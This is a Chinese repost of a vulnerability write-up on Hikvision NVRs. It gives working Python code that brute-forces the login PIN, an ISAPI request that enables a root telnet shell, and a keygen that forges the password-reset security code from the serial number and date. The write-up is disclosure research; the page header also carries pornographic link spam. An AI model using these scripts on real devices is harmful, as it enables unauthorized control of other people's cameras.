日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

海康威视错误代码0xf_技术讨论 | 看我如何重置海康威视IP摄像机的管理员密码...

發布時間:2023/12/31 编程问答 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 海康威视错误代码0xf_技术讨论 | 看我如何重置海康威视IP摄像机的管理员密码... 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔。

寫在前面的話

我們經常在網上看到某某通用IP攝像機被黑客利用的新聞。大多數情況下,制造商并不會強制用戶設置安全密碼,通常您可以使用默認密碼直接登錄。但有些廠商與眾不同——海康威視。首次登錄時使用密碼是12345,但接下來會強制您更改密碼。這難道可以阻止攻擊者訪問設備嗎?然而并沒有。第一次我開始測試海康威視DS-7604NI-E1 NVR的安全性時,因為我忘記了我設置的登錄密碼。谷歌告訴我可以使用海康威視的Search Active Devices Protocol工具,該工具除了可以掃描子網上的設備功能外,還可以選擇重置設備的管理員密碼。當我安裝該工具并選擇Forgot Password選項時,它會提示我輸入一個安全密鑰,但是我沒有什么安全密鑰。

開始

所以這對我沒什么卵用——我需要另一種方法進入。我可以在80端口上訪問管理面板。使用Burp Suite攔截流量,并發現當用戶嘗試登錄時,發現當用戶試圖登錄時,會向位于/PSIA/Custom/SelfExt/userCheck的端點發出XHR GET請求。用戶名和密碼包含在內。該請求將返回帶有字段的XML文檔,如果驗證失敗則返回401,如果成功則返回200。我依稀記得那個pin只能包含數字,大概是5-6位數。此外,如果您輸入錯誤的pin太多次,也不會鎖定。這為爆破提供條件。了解這些之后,我用Python中創建了一個腳本,它只是遍歷一系列pin碼并檢查響應:from requests import get

from base64 import b64encode

url = 'http://192.168.1.133/PSIA/Custom/SelfExt/userCheck'

for i in range(10000, 999999):

atoken = b64encode(b"admin:%i" % i)

auth = ("Basic %s" % atoken.decode("utf-8"))

r = get(url, headers={'Authorization': auth})

if "401" not in r.text:

print(f"Found pin: {i}")

break

大約30秒內我找到了我的密碼。

好戲才開始

然而,密碼重置選項引起了我的興趣——如何在系統上檢查代碼?是否可以在本地生成它?為了找到這個答案,我需要設備上的二進制文件。幸運的是,一旦擁有管理員密碼,就可以輕松獲得對設備的root訪問權限:您只需將一個PUT請求發送到/ISAPI/System/Network/telnetd的端點,并使用以下數據:<?xml version="1.0" encoding="UTF-8"?>

true

這將啟用telnet守護程序,您可以將其連接并以root管理員身份登錄。進入busybox shell:$ telnet 192.168.1.133

Trying 192.168.1.133...

Connected to 192.168.1.133.

Escape character is '^]'.

dvrdvs login: root

Password:

BusyBox v1.16.1 (2014-05-19 09:41:10 CST) built-in shell (ash)

Enter 'help' for a list of built-in commands.

can not change to guest!

[root@dvrdvs /] #

經過一些基本的枚舉嘗試后,我發現當設備啟動時,位于/home/hik/start.sh的腳本將執行,它向/home/app提取一些二進制文件,設置一些內容并最終執行二進制文件/home/app/hicore。考慮到它的大小,似乎正是我正在尋找的,所以我使用FTP將其上傳到我的PC并運行。僅從輸出結果來看,似乎這個二進制文件幾乎負責所有事情:托管網絡前端,后端,與SADP通信,檢查密碼,驅動連接的攝像頭等。使用IDA打開,搜索的字符串security code,我發現Invalid security code的引用以及在0x9C0E6D對Default password of 'admin' restored的引用,這似乎是我一直在尋找:

這些由0xC51C0的子程序引用,如下所示:

從無效的密碼分支向后查找,我們發現似乎它比較了兩個字符串,其中一個是由0xC2D04處的子程序產生的, 另一個可能是用戶輸入。0xC2D04的子程序如下所示:

通過查看反匯編代碼,很明顯這是一個函數,它接受兩個參數,一個作為種子的字符輸入數組和指向輸出位置的指針 ——從種子生成代碼。我們接下來就會了解輸入內容是什么了。現在,我們可以通過使用Hex-Rays生成函數的偽代碼來看看:

看起來好像它為遍歷輸入,使用for循環生成一個數(由IDA命名為v5),使用循環計數器生成一些非常基本的算術(乘法和XOR)以及每個字符的數值。我們可以用Python表示如下:def keygen(seed):

magic = 0

for i, char in enumerate(seed):

i += 1

magic += i * ord(char) ^ i

然后將其乘以硬編碼的數字1751873395,并將其格式化為字符串作為無符號long。在Python中,我們可以使用numpy來表示:from numpy import uint32

[...]

secret = str(uint32(1751873395 * magic))

最后,for循環遍歷字符串中的每個字符,并使用一些硬編碼偏移量和字符值生成一個新字符串。在Python中表示為:key = ""

for digit in secret:

digit = ord(digit)

if digit < 51:

key += chr(digit + 33)

elif digit < 53:

key += chr(digit + 62)

elif digit < 55:

key += chr(digit + 47)

elif digit < 57:

key += chr(digit + 66)

else:

key += chr(digit)

return(key)

但是,由于字符只是使用幾個偏移量生成,因此這實際上是一個替換密碼,上面的塊可以替換為:c = str.maketrans("012345678", "QRSqrdeyz")

return secret.translate(c)

完成的keygen函數非常簡短:def keygen(seed):

magic = 0

for i, char in enumerate(seed):

i += 1

magic += i * ord(char) ^ i

secret = str(uint32(1751873395 * magic))

c = str.maketrans("012345678", "QRSqrdeyz")

return secret.translate(c)

很好,但是究竟是什么才能成為種子呢?再看一下反匯編,看起來輸入是一個從內存中取出的字符串,結合設備的日期格式為:{string}{yyyy}{mm}{dd}

0xC51FC也引用了相同的內存位置,它被用作以下sprintf參數:

所以這個神秘的字符串是設備的序列號。雖然這可以從SADP工具中獲取,但如果與日期一起自動獲取它會更容易。我在其中查找了帶有“serial”的字符串,找到了一個XML響應模板:

這看起來非常像UPNP數據。在0xAE427D,我們甚至可以看到該文件的“location”。/upnpdevicedesc.xml確實可以發送GET請求來獲取序列號,并且設備的本地時間包含在響應頭中,這就是我們生成代碼所需的全部內容。我們現在可以編寫一個函數,它為keygen生成輸入:from requests import get

import sys

[...]

def get_serial_date(ip):

try:

req = get(f"http://{ip}/upnpdevicedesc.xml")

except Exception as e:

print(f"Unable to connect to {ip}:\n{e}")

sys.exit(-1)

密鑰生成器的序列號實際上沒有開頭,所以我們需要刪除它:from re import search

[...]

model = search("(.*)", req.text).group(1)

serial = search("(.*)", req.text).group(1)

serial = serial.replace(model, "")

我們還需要重新格式化日期:from datetime import datetime

[...]

datef = datetime.strptime(req.headers["Date"], "%a, %d %b %Y %H:%M:%S GMT")

date = datef.strftime("%Y%m%d")

return f"{serial}{date}"

我們現在可以完成腳本的其余部分:#!/usr/bin/env python3

import sys

from re import search

from numpy import uint32

from requests import get

from datetime import datetime

def keygen(seed):

magic = 0

for i, char in enumerate(seed):

i += 1

magic += i * ord(char) ^ i

secret = str(uint32(1751873395 * magic))

c = str.maketrans("012345678", "QRSqrdeyz")

return secret.translate(c)

def get_serial_date(ip):

try:

req = get(f"http://{ip}/upnpdevicedesc.xml")

except Exception as e:

print(f"Unable to connect to {ip}:\n{e}")

sys.exit(-1)

model = search("(.*)", req.text).group(1)

serial = search("(.*)", req.text).group(1)

serial = serial.replace(model, "")

datef = datetime.strptime(req.headers["Date"], "%a, %d %b %Y %H:%M:%S GMT")

date = datef.strftime("%Y%m%d")

return f"{serial}{date}"

if __name__ == "__main__":

if len(sys.argv) < 2:

print(f"Usage: {sys.argv[0]} ")

print("Connects to a Hikvision device and generates a security key")

sys.exit(1)

seed = get_serial_date(sys.argv[1])

print(f"Got seed: {seed}")

key = keygen(seed)

print(f"Generated security key: {key}")

運行此命令會生成一個密鑰,當輸入SADP時,確實會將密碼重置為12345。

最后的話

總而言之,這種安全措施是行不通的。更糟糕的是,它可能會產生一種假的安全感,而這種安全感可能會被攻擊者濫用,從而無法正常工作。雖然我的腳本不允許您重置其他人的密碼,因為您必須在本地攝像機的SADP中手動輸入密碼。

*參考來源:neonsea,周大濤編譯,轉載請注明來自FreeBuf.COM

總結

以上是生活随笔為你收集整理的海康威视错误代码0xf_技术讨论 | 看我如何重置海康威视IP摄像机的管理员密码...的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。